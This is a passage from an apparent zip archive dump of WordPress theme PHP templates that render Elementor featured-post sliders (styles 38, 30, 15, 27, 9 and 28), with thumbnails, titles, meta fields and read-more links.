                               style="background-image: url('<?php echo penci_get_featured_image_size( get_the_ID(), $image_size ); ?>');"
                               href="<?php the_permalink(); ?>"
                               title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></a>

							<?php if ( ! $center_box ): ?>
                                <div class="penci-featured-content">
                                    <div class="feat-text<?php if ( $meta_date_hide ): echo ' slider-hide-date'; endif; ?>">
										<?php if ( ! $hide_categories && $show_cat ): ?>
                                            <div class="cat featured-cat"><?php penci_category( '' ); ?></div>
										<?php endif; ?>
                                        <h3><a href="<?php the_permalink() ?>"
                                               title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"><?php echo wp_trim_words( wp_strip_all_tags( get_the_title() ), $slider_title_length, '...' ); ?></a>
                                        </h3>
										<?php if ( $settings['cspost_enable'] || ! $hide_meta_comment || ! $meta_date_hide || $show_viewscount || $show_meta_author ): ?>
                                            <div class="feat-meta fade-in penci-fslider-fmeta">
												<?php if ( $show_meta_author ): ?>
                                                    <span class="feat-author"><?php echo penci_get_setting( 'penci_trans_by' ); ?> <a
                                                                href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a></span>
												<?php endif; ?>
												<?php if ( ! $meta_date_hide ): ?>
                                                    <span class="feat-time"><?php penci_soledad_time_link(); ?></span>
												<?php endif; ?>
												<?php if ( ! $hide_meta_comment ): ?>
                                                    <span class="feat-comments"><a
                                                                href="<?php comments_link(); ?> "><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></a></span>
												<?php endif; ?>
												<?php
												if ( $show_viewscount ) {
													echo '<span class="feat-countviews">';
													echo penci_get_post_views( get_the_ID() );
													echo ' ' . penci_get_setting( 'penci_trans_countviews' );
													echo '</span>';
												}
												?>
												<?php echo penci_show_custom_meta_fields( [
													'validator' => isset( $settings['cspost_enable'] ) ? $settings['cspost_enable'] : '',
													'keys'      => isset( $settings['cspost_cpost_meta'] ) ? $settings['cspost_cpost_meta'] : '',
													'acf'       => isset( $settings['cspost_cpost_acf_meta'] ) ? $settings['cspost_cpost_acf_meta'] : '',
													'label'     => isset( $settings['cspost_cpost_meta_label'] ) ? $settings['cspost_cpost_meta_label'] : '',
													'divider'   => isset( $settings['cspost_cpost_meta_divider'] ) ? $settings['cspost_cpost_meta_divider'] : '',
												] ); ?>
                                                <?php do_action( 'penci_extra_meta' ); ?>
												<?php if ( get_the_excerpt() && ! $hide_meta_excerpt ): ?>
                                                    <div class="featured-slider-excerpt">
														<?php
														if ( get_theme_mod( 'penci_excerptcharac' ) ) {
															the_excerpt();
														} else {
															$excerpt_length = get_theme_mod( 'penci_post_excerpt_length', 30 );
															penci_the_excerpt( $excerpt_length );
														}
														?>
                                                    </div>
												<?php endif; ?>
                                            </div>
										<?php endif; ?>
                                        <div class="penci-featured-slider-button">
                                            <a href="<?php the_permalink() ?>"><?php echo penci_get_setting( 'penci_trans_read_more' ); ?></a>
                                        </div>
                                    </div>
                                </div>
							<?php endif; ?>
                        </div>
                    </div>
				<?php endwhile;
					wp_reset_postdata(); endif; ?>
            </div>
        </div>
    </div>
</div>PK     N\U    A  inc/elementor/modules/penci-featured-sliders/widgets/style-38.phpnu [        <?php
/**
 * Template part for Slider Style 38
 */

$post_thumb_size = ! empty( $post_thumb_size ) ? $post_thumb_size : 'penci-thumb-vertical';
$penci_is_mobile = penci_is_mobile();
if ( $penci_is_mobile ) {
	$post_thumb_size = ! empty( $post_thumb_size_mobile ) ? $post_thumb_size_mobile : 'penci-masonry-thumb';
}
?>
<?php if ( $feat_query->have_posts() ) : while ( $feat_query->have_posts() ) : $feat_query->the_post(); ?>
    <div class="item swiper-slide">
	    <?php do_action( 'penci_bookmark_post' ); ?>
        <a class="penci-slider38-overlay" href="<?php the_permalink(); ?>"></a>
        <a class="penci-image-holder"
           style="background-image: url('<?php echo penci_get_featured_image_size( get_the_ID(), $post_thumb_size ); ?>');"
           href="<?php the_permalink(); ?>" title="<?php echo wp_strip_all_tags( get_the_title() ); ?>">
        </a>
		<?php if ( ! $center_box ): ?>
            <div class="penci-featured-content">
                <div class="feat-text<?php if ( $meta_date_hide ): echo ' slider-hide-date'; endif; ?>">
					<?php if ( ! $hide_categories ): ?>
                        <div class="cat featured-cat"><?php penci_category( '' ); ?></div>
					<?php endif; ?>
                    <h3><a href="<?php the_permalink() ?>"
                           title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"><?php echo wp_trim_words( wp_strip_all_tags( get_the_title() ), $slider_title_length, '...' ); ?></a>
                    </h3>
					<?php if ( $settings['cspost_enable'] || ( get_the_excerpt() && ! $hide_meta_excerpt ) || ! $hide_meta_comment || ! $meta_date_hide || $show_viewscount || $show_meta_author ): ?>
                        <div class="feat-meta">
							<?php if ( $show_meta_author ): ?>
                                <span class="feat-author"><?php echo penci_get_setting( 'penci_trans_by' ); ?> <a
                                            href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a></span>
							<?php endif; ?>
							<?php if ( ! $meta_date_hide ): ?>
                                <span class="feat-time"><?php penci_soledad_time_link(); ?></span>
							<?php endif; ?>
							<?php if ( ! $hide_meta_comment ): ?>
                                <span class="feat-comments"><a
                                            href="<?php comments_link(); ?> "><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></a></span>
							<?php endif; ?>
							<?php
							if ( $show_viewscount ) {
								echo '<span class="feat-countviews">';
								echo penci_get_post_views( get_the_ID() );
								echo ' ' . penci_get_setting( 'penci_trans_countviews' );
								echo '</span>';
							}
							?>
	                        <?php echo penci_show_custom_meta_fields( [
		                        'validator' => isset( $settings['cspost_enable'] ) ? $settings['cspost_enable'] : '',
		                        'keys'      => isset( $settings['cspost_cpost_meta'] ) ? $settings['cspost_cpost_meta'] : '',
		                        'acf'       => isset( $settings['cspost_cpost_acf_meta'] ) ? $settings['cspost_cpost_acf_meta'] : '',
		                        'label'     => isset( $settings['cspost_cpost_meta_label'] ) ? $settings['cspost_cpost_meta_label'] : '',
		                        'divider'   => isset( $settings['cspost_cpost_meta_divider'] ) ? $settings['cspost_cpost_meta_divider'] : '',
	                        ] ); ?>
							<?php do_action( 'penci_extra_meta' ); ?>
							<?php if ( get_the_excerpt() && ! $hide_meta_excerpt ): ?>
                                <div class="featured-slider-excerpt"><p><?php $excerpt = get_the_excerpt();
										echo wp_trim_words( $excerpt, 20, '...' ); ?></p></div>
							<?php endif; ?>
                        </div>
					<?php endif; ?>
                    <div class="penci-featured-slider-button">
                        <a href="<?php the_permalink() ?>"><?php echo penci_get_setting( 'penci_trans_read_more' ); ?></a>
                    </div>
                </div>
            </div>
		<?php endif; ?>
    </div>
<?php endwhile;
	wp_reset_postdata(); endif; ?>
PK     N\7<    A  inc/elementor/modules/penci-featured-sliders/widgets/style-30.phpnu [        <?php
/**
 * Template part for Slider Style 30
 */

$post_thumb_size = ! empty( $post_thumb_size ) ? $post_thumb_size : 'penci-slider-thumb';
$penci_is_mobile = penci_is_mobile();

	$post_thumb_msize = ! empty( $post_thumb_size_mobile ) ? $post_thumb_size_mobile : 'penci-masonry-thumb';

?>
<?php if ( $feat_query->have_posts() ) : while ( $feat_query->have_posts() ) : $feat_query->the_post(); ?>
    <div class="item swiper-slide">
	    <?php do_action( 'penci_bookmark_post' ); ?>
		<?php if ( ! $disable_lazyload ) { ?>
            <a class="penci-image-holder <?php echo penci_classes_slider_lazy(); ?>"
               data-bgset="<?php echo penci_image_srcset( get_the_ID(), $post_thumb_size,$post_thumb_msize ); ?>"
               href="<?php the_permalink(); ?>" title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></a>
		<?php } else { ?>
            <a class="penci-image-holder"
               style="background-image: url('<?php echo penci_get_featured_image_size( get_the_ID(), $penci_is_mobile ? $post_thumb_msize :$post_thumb_size ); ?>');"
               href="<?php the_permalink(); ?>" title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></a>
		<?php } ?>

        <a href="<?php the_permalink() ?>" class="featured-slider-overlay"></a>
		<?php if ( ! $center_box ): ?>
            <div class="penci-featured-content">
                <div class="feat-text<?php if ( $meta_date_hide ): echo ' slider-hide-date'; endif; ?>">
					<?php if ( ! $hide_categories ): ?>
                        <div class="cat featured-cat"><?php penci_category( '' ); ?></div>
					<?php endif; ?>
                    <h3><a title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                           href="<?php the_permalink() ?>"><?php echo wp_trim_words( wp_strip_all_tags( get_the_title() ), $slider_title_length, '...' ); ?></a>
                    </h3>
                    <div class="penci-featured-slider-button">
                        <a href="<?php the_permalink() ?>"><?php echo penci_get_setting( 'penci_trans_read_more' ); ?></a>
                    </div>
                </div>
            </div>
		<?php endif; ?>
    </div>
<?php endwhile;
	wp_reset_postdata(); endif; ?>
PK     N\W    A  inc/elementor/modules/penci-featured-sliders/widgets/style-15.phpnu [        <?php
/**
 * Template part for Slider Style 15
 */

$post_thumb_size  = ! empty( $post_thumb_size ) ? $post_thumb_size : 'penci-thumb-vertical';
$bpost_thumb_size = ! empty( $bpost_thumb_size ) ? $bpost_thumb_size : 'penci-slider-thumb';
$penci_is_mobile  = penci_is_mobile();
?>
<?php if ( $feat_query->have_posts() ) : ?>
    <div class="item swiper-slide">
        <div class="wrapper-item wrapper-item-classess">
			<?php $i   = 1;
			$num_posts = $feat_query->post_count;
			while ( $feat_query->have_posts() ) : $feat_query->the_post();
				$thumb = $post_thumb_size;
				if ( $i % 3 == 2 ): $thumb = $bpost_thumb_size; endif;

				$sizep = 'small';
				if ( $i % 3 == 2 ): $sizep = 'normal'; endif;

				$thumb_mobile = ! empty( $post_thumb_size_mobile ) ? $post_thumb_size_mobile : 'penci-masonry-thumb';

				?>
                <div class="penci-item-mag penci-item-<?php echo( $i % 3 ); ?> <?php echo( 2 == $i % 3 ? 'penci-pitem-big' : 'penci-pitem-small' ) ?>">
					<?php do_action( 'penci_bookmark_post', get_the_ID(), $sizep ); ?>
					<?php if ( ! $disable_lazyload ) { ?>
                        <a class="penci-image-holder <?php echo penci_classes_slider_lazy(); ?>"
                           data-bgset="<?php echo penci_image_srcset( get_the_ID(), $post_thumb_size, $thumb_mobile ); ?>"
                           href="<?php the_permalink(); ?>"
                           title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></a>
					<?php } else { ?>
                        <a class="penci-image-holder"
                           style="background-image: url('<?php echo penci_get_featured_image_size( get_the_ID(), $penci_is_mobile ? $thumb_mobile : $thumb ); ?>');"
                           href="<?php the_permalink(); ?>"
                           title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></a>
					<?php } ?>
                    <div class="penci-slide-overlay penci-slider6-overlay">
                        <a class="overlay-link"
                           aria-label="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                           href="<?php the_permalink(); ?>"></a>
						<?php if ( ! $hide_format_icons && ( has_post_format( 'video' ) || has_post_format( 'audio' ) || has_post_format( 'link' ) || has_post_format( 'quote' ) || has_post_format( 'gallery' ) ) ): ?>
                            <a href="<?php the_permalink(); ?>"
                               class="overlay-icon-format <?php if ( $i % 3 == 2 ): echo ' lager-size-icon'; endif; ?>">
								<?php if ( has_post_format( 'video' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-play' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'audio' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-music' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'link' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-link' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'quote' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-quote-left' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'gallery' ) ) : ?>
									<?php penci_fawesome_icon( 'far fa-image' ); ?>
								<?php endif; ?>
                            </a>
						<?php endif; ?>
                        <div class="penci-mag-featured-content">
                            <div class="feat-text<?php if ( $meta_date_hide ): echo ' slider-hide-date'; endif; ?>">
								<?php if ( $i % 3 == 2 || $show_cat ): ?>
									<?php if ( ! $hide_categories ): ?>
                                        <div class="cat featured-cat"><?php penci_category( '' ); ?></div>
									<?php endif; ?>
								<?php endif; ?>
                                <h3><a title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                                       href="<?php the_permalink() ?>"><?php echo wp_trim_words( wp_strip_all_tags( get_the_title() ), $slider_title_length, '...' ); ?></a>
                                </h3>
								<?php if ( $settings['cspost_enable'] || ! $hide_meta_comment || ! $meta_date_hide || $show_viewscount || $show_meta_author ): ?>
                                    <div class="feat-meta">
										<?php if ( $show_meta_author ): ?>
                                            <span class="feat-author"><?php echo penci_get_setting( 'penci_trans_by' ); ?> <a
                                                        href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a></span>
										<?php endif; ?>
										<?php if ( ! $meta_date_hide ): ?>
                                            <span class="feat-time"><?php penci_soledad_time_link(); ?></span>
										<?php endif; ?>
										<?php if ( ! $hide_meta_comment ): ?>
                                            <span class="feat-comments"><a
                                                        href="<?php comments_link(); ?> "><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></a></span>
										<?php endif; ?>
										<?php
										if ( $show_viewscount ) {
											echo '<span class="feat-countviews">';
											echo penci_get_post_views( get_the_ID() );
											echo ' ' . penci_get_setting( 'penci_trans_countviews' );
											echo '</span>';
										}
										?>
										<?php echo penci_show_custom_meta_fields( [
											'validator' => isset( $settings['cspost_enable'] ) ? $settings['cspost_enable'] : '',
											'keys'      => isset( $settings['cspost_cpost_meta'] ) ? $settings['cspost_cpost_meta'] : '',
											'acf'       => isset( $settings['cspost_cpost_acf_meta'] ) ? $settings['cspost_cpost_acf_meta'] : '',
											'label'     => isset( $settings['cspost_cpost_meta_label'] ) ? $settings['cspost_cpost_meta_label'] : '',
											'divider'   => isset( $settings['cspost_cpost_meta_divider'] ) ? $settings['cspost_cpost_meta_divider'] : '',
										] ); ?>
										<?php do_action( 'penci_extra_meta' ); ?>
                                    </div>
								<?php endif; ?>
                            </div>
                        </div>
                    </div>
                </div>

				<?php if ( $i % 3 == 0 && $i > 1 && $i < $num_posts ): echo '</div></div><div class="item swiper-slide"><div class="wrapper-item wrapper-item-classess">'; endif; ?>

				<?php $i ++; endwhile;
			wp_reset_postdata(); ?>
        </div>
    </div>
<?php endif; ?>
PK     N\    A  inc/elementor/modules/penci-featured-sliders/widgets/style-27.phpnu [        <?php
/**
 * Template part for Slider Style 27
 */

$post_thumb_size  = ! empty( $post_thumb_size ) ? $post_thumb_size : 'penci-thumb';
$bpost_thumb_size = ! empty( $bpost_thumb_size ) ? $bpost_thumb_size : 'penci-magazine-slider';
?>
<?php if ( $feat_query->have_posts() ) : ?>
    <div class="item swiper-slide">
        <div class="wrapper-item wrapper-item-classess">
			<?php $i   = 1;
			$num_posts = $feat_query->post_count;
			while ( $feat_query->have_posts() ) : $feat_query->the_post();
				$thumb = $post_thumb_size;
				if ( $i % 5 == 1 ): $thumb = $bpost_thumb_size; endif;
				$sizep = 'small';
				if ( $i % 5 == 1 ): $sizep = 'normal'; endif;
				$mobile_thumb = ! empty( $post_thumb_size_mobile ) ? $post_thumb_size_mobile : 'penci-masonry-thumb';
				?>
                <div class="penci-item-mag penci-item-<?php echo( $i % 5 ); ?>  <?php echo( ( $i % 5 == 1 ) ? 'penci-pitem-big' : 'penci-pitem-small' ) ?>">
	                <?php do_action( 'penci_bookmark_post',get_the_ID(),$sizep ); ?>
                    <?php if ( ! $disable_lazyload ) { ?>
                        <a class="penci-image-holder <?php echo penci_classes_slider_lazy(); ?>"
                           data-bgset="<?php echo penci_image_srcset( get_the_ID(), $thumb, $mobile_thumb ); ?>"
                           href="<?php the_permalink(); ?>"
                           title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></a>
					<?php } else { ?>
                        <a class="penci-image-holder"
                           style="background-image: url('<?php echo penci_get_featured_image_size( get_the_ID(), $thumb ); ?>');"
                           href="<?php the_permalink(); ?>"
                           title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></a>
					<?php } ?>

                    <div class="penci-slide-overlay penci-slider6-overlay">
                        <a class="overlay-link"
                           aria-label="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                           href="<?php the_permalink(); ?>"></a>
						<?php if ( ! $hide_format_icons && ( has_post_format( 'video' ) || has_post_format( 'audio' ) || has_post_format( 'link' ) || has_post_format( 'quote' ) || has_post_format( 'gallery' ) ) ): ?>
                            <a href="<?php the_permalink(); ?>" class="overlay-icon-format">
								<?php if ( has_post_format( 'video' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-play' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'audio' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-music' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'link' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-link' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'quote' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-quote-left' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'gallery' ) ) : ?>
									<?php penci_fawesome_icon( 'far fa-image' ); ?>
								<?php endif; ?>
                            </a>
						<?php endif; ?>
                        <div class="penci-mag-featured-content">
                            <div class="feat-text<?php if ( $meta_date_hide ): echo ' slider-hide-date'; endif; ?>">
								<?php if ( ! $hide_categories && $show_cat ): ?>
                                    <div class="cat featured-cat"><?php penci_category( '' ); ?></div>
								<?php endif; ?>
                                <h3><a title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                                       href="<?php the_permalink() ?>"><?php echo wp_trim_words( wp_strip_all_tags( get_the_title() ), $slider_title_length, '...' ); ?></a>
                                </h3>
								<?php if ( $settings['cspost_enable'] || ! $hide_meta_comment || ! $meta_date_hide || $show_viewscount || $show_meta_author ): ?>
                                    <div class="feat-meta">
										<?php if ( $show_meta_author ): ?>
                                            <span class="feat-author"><?php echo penci_get_setting( 'penci_trans_by' ); ?> <a
                                                        href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a></span>
										<?php endif; ?>
										<?php if ( ! $meta_date_hide ): ?>
                                            <span class="feat-time"><?php penci_soledad_time_link(); ?></span>
										<?php endif; ?>
										<?php if ( ! $hide_meta_comment ): ?>
                                            <span class="feat-comments"><a
                                                        href="<?php comments_link(); ?> "><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></a></span>
										<?php endif; ?>
										<?php
										if ( $show_viewscount ) {
											echo '<span class="feat-countviews">';
											echo penci_get_post_views( get_the_ID() );
											echo ' ' . penci_get_setting( 'penci_trans_countviews' );
											echo '</span>';
										}
										?>
	                                    <?php echo penci_show_custom_meta_fields( [
		                                    'validator' => isset( $settings['cspost_enable'] ) ? $settings['cspost_enable'] : '',
		                                    'keys'      => isset( $settings['cspost_cpost_meta'] ) ? $settings['cspost_cpost_meta'] : '',
		                                    'acf'       => isset( $settings['cspost_cpost_acf_meta'] ) ? $settings['cspost_cpost_acf_meta'] : '',
		                                    'label'     => isset( $settings['cspost_cpost_meta_label'] ) ? $settings['cspost_cpost_meta_label'] : '',
		                                    'divider'   => isset( $settings['cspost_cpost_meta_divider'] ) ? $settings['cspost_cpost_meta_divider'] : '',
	                                    ] ); ?>
										<?php do_action( 'penci_extra_meta' ); ?>
                                    </div>
								<?php endif; ?>
                            </div>
                        </div>
                    </div>
                </div>

				<?php if ( $i % 5 == 0 && $i > 1 && $i < $num_posts ): echo '</div></div><div class="item swiper-slide"><div class="wrapper-item wrapper-item-classess">'; endif; ?>

				<?php $i ++; endwhile;
			wp_reset_postdata(); ?>
        </div>
    </div>
<?php endif; ?>
PK     N\|    @  inc/elementor/modules/penci-featured-sliders/widgets/style-9.phpnu [        <?php
/**
 * Template part for Slider Style 9
 */

$post_thumb_size = ! empty( $post_thumb_size ) ? $post_thumb_size : 'penci-thumb-square';
$penci_is_mobile = penci_is_mobile();

	$post_thumb_size_mobile = ! empty( $post_thumb_size_mobile ) ? $post_thumb_size_mobile : 'penci-masonry-thumb';

?>
<?php if ( $feat_query->have_posts() ) : ?>
	<?php $i   = 1;
	$num_posts = $feat_query->post_count;
	while ( $feat_query->have_posts() ) : $feat_query->the_post();
		?>
        <div class="item swiper-slide">
            <div class="wrapper-item wrapper-item-classess">
                <div class="penci-item-mag penci-item-<?php echo( $i % 3 ); ?>">
	                <?php do_action( 'penci_bookmark_post' ); ?>
					<?php if ( ! $disable_lazyload ) { ?>
                        <a class="penci-image-holder <?php echo penci_classes_slider_lazy(); ?>"
                           data-bgset="<?php echo penci_image_srcset( get_the_ID(),$post_thumb_size,$post_thumb_size_mobile ); ?>"
                           href="<?php the_permalink(); ?>"
                           title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></a>
					<?php } else { ?>
                        <a class="penci-image-holder"
                           style="background-image: url('<?php echo penci_get_featured_image_size( get_the_ID(), $penci_is_mobile ? $post_thumb_size_mobile : $post_thumb_size ); ?>');"
                           href="<?php the_permalink(); ?>"
                           title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></a>
					<?php } ?>
                    <div class="penci-slide-overlay penci-slider7-overlay">
                        <a class="overlay-link"
                           aria-label="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                           href="<?php the_permalink(); ?>"></a>
						<?php if ( ! $hide_format_icons && ( has_post_format( 'video' ) || has_post_format( 'audio' ) || has_post_format( 'link' ) || has_post_format( 'quote' ) || has_post_format( 'gallery' ) ) ): ?>
                            <a href="<?php the_permalink(); ?>" class="overlay-icon-format lager-size-icon">
								<?php if ( has_post_format( 'video' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-play' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'audio' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-music' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'link' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-link' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'quote' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-quote-left' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'gallery' ) ) : ?>
									<?php penci_fawesome_icon( 'far fa-image' ); ?>
								<?php endif; ?>
                            </a>
						<?php endif; ?>
                        <div class="penci-mag-featured-content">
                            <div class="feat-text<?php if ( $meta_date_hide ): echo ' slider-hide-date'; endif; ?>">
								<?php if ( ! $hide_categories && $show_cat ): ?>
                                    <div class="cat featured-cat"><?php penci_category( '' ); ?></div>
								<?php endif; ?>
                                <h3><a title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                                       href="<?php the_permalink() ?>"><?php echo wp_trim_words( wp_strip_all_tags( get_the_title() ), $slider_title_length, '...' ); ?></a>
                                </h3>
								<?php if ( $settings['cspost_enable'] || ! $hide_meta_comment || ! $meta_date_hide || $show_viewscount || $show_meta_author ): ?>
                                    <div class="feat-meta">
										<?php if ( $show_meta_author ): ?>
                                            <span class="feat-author"><?php echo penci_get_setting( 'penci_trans_by' ); ?> <a
                                                        href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a></span>
										<?php endif; ?>
										<?php if ( ! $meta_date_hide ): ?>
                                            <span class="feat-time"><?php penci_soledad_time_link(); ?></span>
										<?php endif; ?>
										<?php if ( ! $hide_meta_comment ): ?>
                                            <span class="feat-comments"><a
                                                        href="<?php comments_link(); ?> "><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></a></span>
										<?php endif; ?>
										<?php
										if ( $show_viewscount ) {
											echo '<span class="feat-countviews">';
											echo penci_get_post_views( get_the_ID() );
											echo ' ' . penci_get_setting( 'penci_trans_countviews' );
											echo '</span>';
										}
										?>
	                                    <?php echo penci_show_custom_meta_fields( [
		                                    'validator' => isset( $settings['cspost_enable'] ) ? $settings['cspost_enable'] : '',
		                                    'keys'      => isset( $settings['cspost_cpost_meta'] ) ? $settings['cspost_cpost_meta'] : '',
		                                    'acf'       => isset( $settings['cspost_cpost_acf_meta'] ) ? $settings['cspost_cpost_acf_meta'] : '',
		                                    'label'     => isset( $settings['cspost_cpost_meta_label'] ) ? $settings['cspost_cpost_meta_label'] : '',
		                                    'divider'   => isset( $settings['cspost_cpost_meta_divider'] ) ? $settings['cspost_cpost_meta_divider'] : '',
	                                    ] ); ?>
										<?php do_action( 'penci_extra_meta' ); ?>
                                    </div>
								<?php endif; ?>
                            </div>
                        </div>
                    </div>
                </div>
            </div>
        </div>
		<?php $i ++; endwhile;
	wp_reset_postdata(); ?>
<?php endif; ?>
PK     N\j4k$  $  A  inc/elementor/modules/penci-featured-sliders/widgets/style-28.phpnu [        <?php
/**
 * Template part for Slider Style 28
 */

$post_thumb_size  = ! empty( $post_thumb_size ) ? $post_thumb_size : 'penci-thumb';
$bpost_thumb_size = ! empty( $bpost_thumb_size ) ? $bpost_thumb_size : 'penci-magazine-slider';
$penci_is_mobile  = penci_is_mobile();
?>
<?php if ( $feat_query->have_posts() ) : ?>
    <div class="item swiper-slide">
        <div class="wrapper-item wrapper-item-classess">
			<?php $i   = 1;
			$num_posts = $feat_query->post_count;
			while ( $feat_query->have_posts() ) : $feat_query->the_post();
				$thumb = $post_thumb_size;
				if ( $i % 7 == 1 ): $thumb = $bpost_thumb_size; endif;
				$sizep = 'small';
				if ( $i % 7 == 1 ): $sizep = 'normal'; endif;
				if ( $penci_is_mobile ) {
					$thumb = ! empty( $post_thumb_size_mobile ) ? $post_thumb_size_mobile : 'penci-masonry-thumb';
				}
				?>
                <div class="penci-item-mag penci-item-<?php echo( $i % 7 ); ?>  <?php echo( ( $i % 7 == 1 ) ? 'penci-pitem-big' : 'penci-pitem-small' ) ?>">
					<?php do_action( 'penci_bookmark_post', get_the_ID(), $sizep ); ?>
                    <a class="penci-image-holder"
                       style="background-image: url('<?php echo penci_get_featured_image_size( get_the_ID(), $thumb ); ?>');"
                       href="<?php the_permalink(); ?>" title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></a>
                    <div class="penci-slide-overlay penci-slider6-overlay">
                        <a class="overlay-link"
                           aria-label="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                           href="<?php the_permalink(); ?>"></a>
						<?php if ( ! $hide_format_icons && ( has_post_format( 'video' ) || has_post_format( 'audio' ) || has_post_format( 'link' ) || has_post_format( 'quote' ) || has_post_format( 'gallery' ) ) ): ?>
                            <a href="<?php the_permalink(); ?>"
                               class="overlay-icon-format<?php if ( $i % 7 == 1 ): echo ' lager-size-icon'; endif; ?>">
								<?php if ( has_post_format( 'video' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-play' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'audio' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-music' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'link' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-link' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'quote' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-quote-left' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'gallery' ) ) : ?>
									<?php penci_fawesome_icon( 'far fa-image' ); ?>
								<?php endif; ?>
                            </a>
						<?php endif; ?>
                        <div class="penci-mag-featured-content">
							<?php if ( ( $i % 7 == 1 || $show_cat ) && ! $hide_categories ): ?>
                                <div class="cat featured-cat"><?php penci_category( '' ); ?></div>
							<?php endif; ?>
                            <div class="feat-text<?php if ( $meta_date_hide ): echo ' slider-hide-date'; endif; ?>">
                                <h3><a title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                                       href="<?php the_permalink() ?>"><?php echo wp_trim_words( wp_strip_all_tags( get_the_title() ), $slider_title_length, '...' ); ?></a>
                                </h3>
								<?php if ( $i % 7 == 1 ): ?>
									<?php if ( $settings['cspost_enable'] || ! $hide_meta_comment || ! $meta_date_hide || $show_viewscount || $show_meta_author ): ?>
                                        <div class="feat-meta">
											<?php if ( $show_meta_author ): ?>
                                                <span class="feat-author"><?php echo penci_get_setting( 'penci_trans_by' ); ?> <a
                                                            href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a></span>
											<?php endif; ?>
											<?php if ( ! $meta_date_hide ): ?>
                                                <span class="feat-time"><?php penci_soledad_time_link(); ?></span>
											<?php endif; ?>
											<?php if ( ! $hide_meta_comment ): ?>
                                                <span class="feat-comments"><a
                                                            href="<?php comments_link(); ?> "><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></a></span>
											<?php endif; ?>
											<?php
											if ( $show_viewscount ) {
												echo '<span class="feat-countviews">';
												echo penci_get_post_views( get_the_ID() );
												echo ' ' . penci_get_setting( 'penci_trans_countviews' );
												echo '</span>';
											}
											?>
											<?php echo penci_show_custom_meta_fields( [
												'validator' => isset( $settings['cspost_enable'] ) ? $settings['cspost_enable'] : '',
												'keys'      => isset( $settings['cspost_cpost_meta'] ) ? $settings['cspost_cpost_meta'] : '',
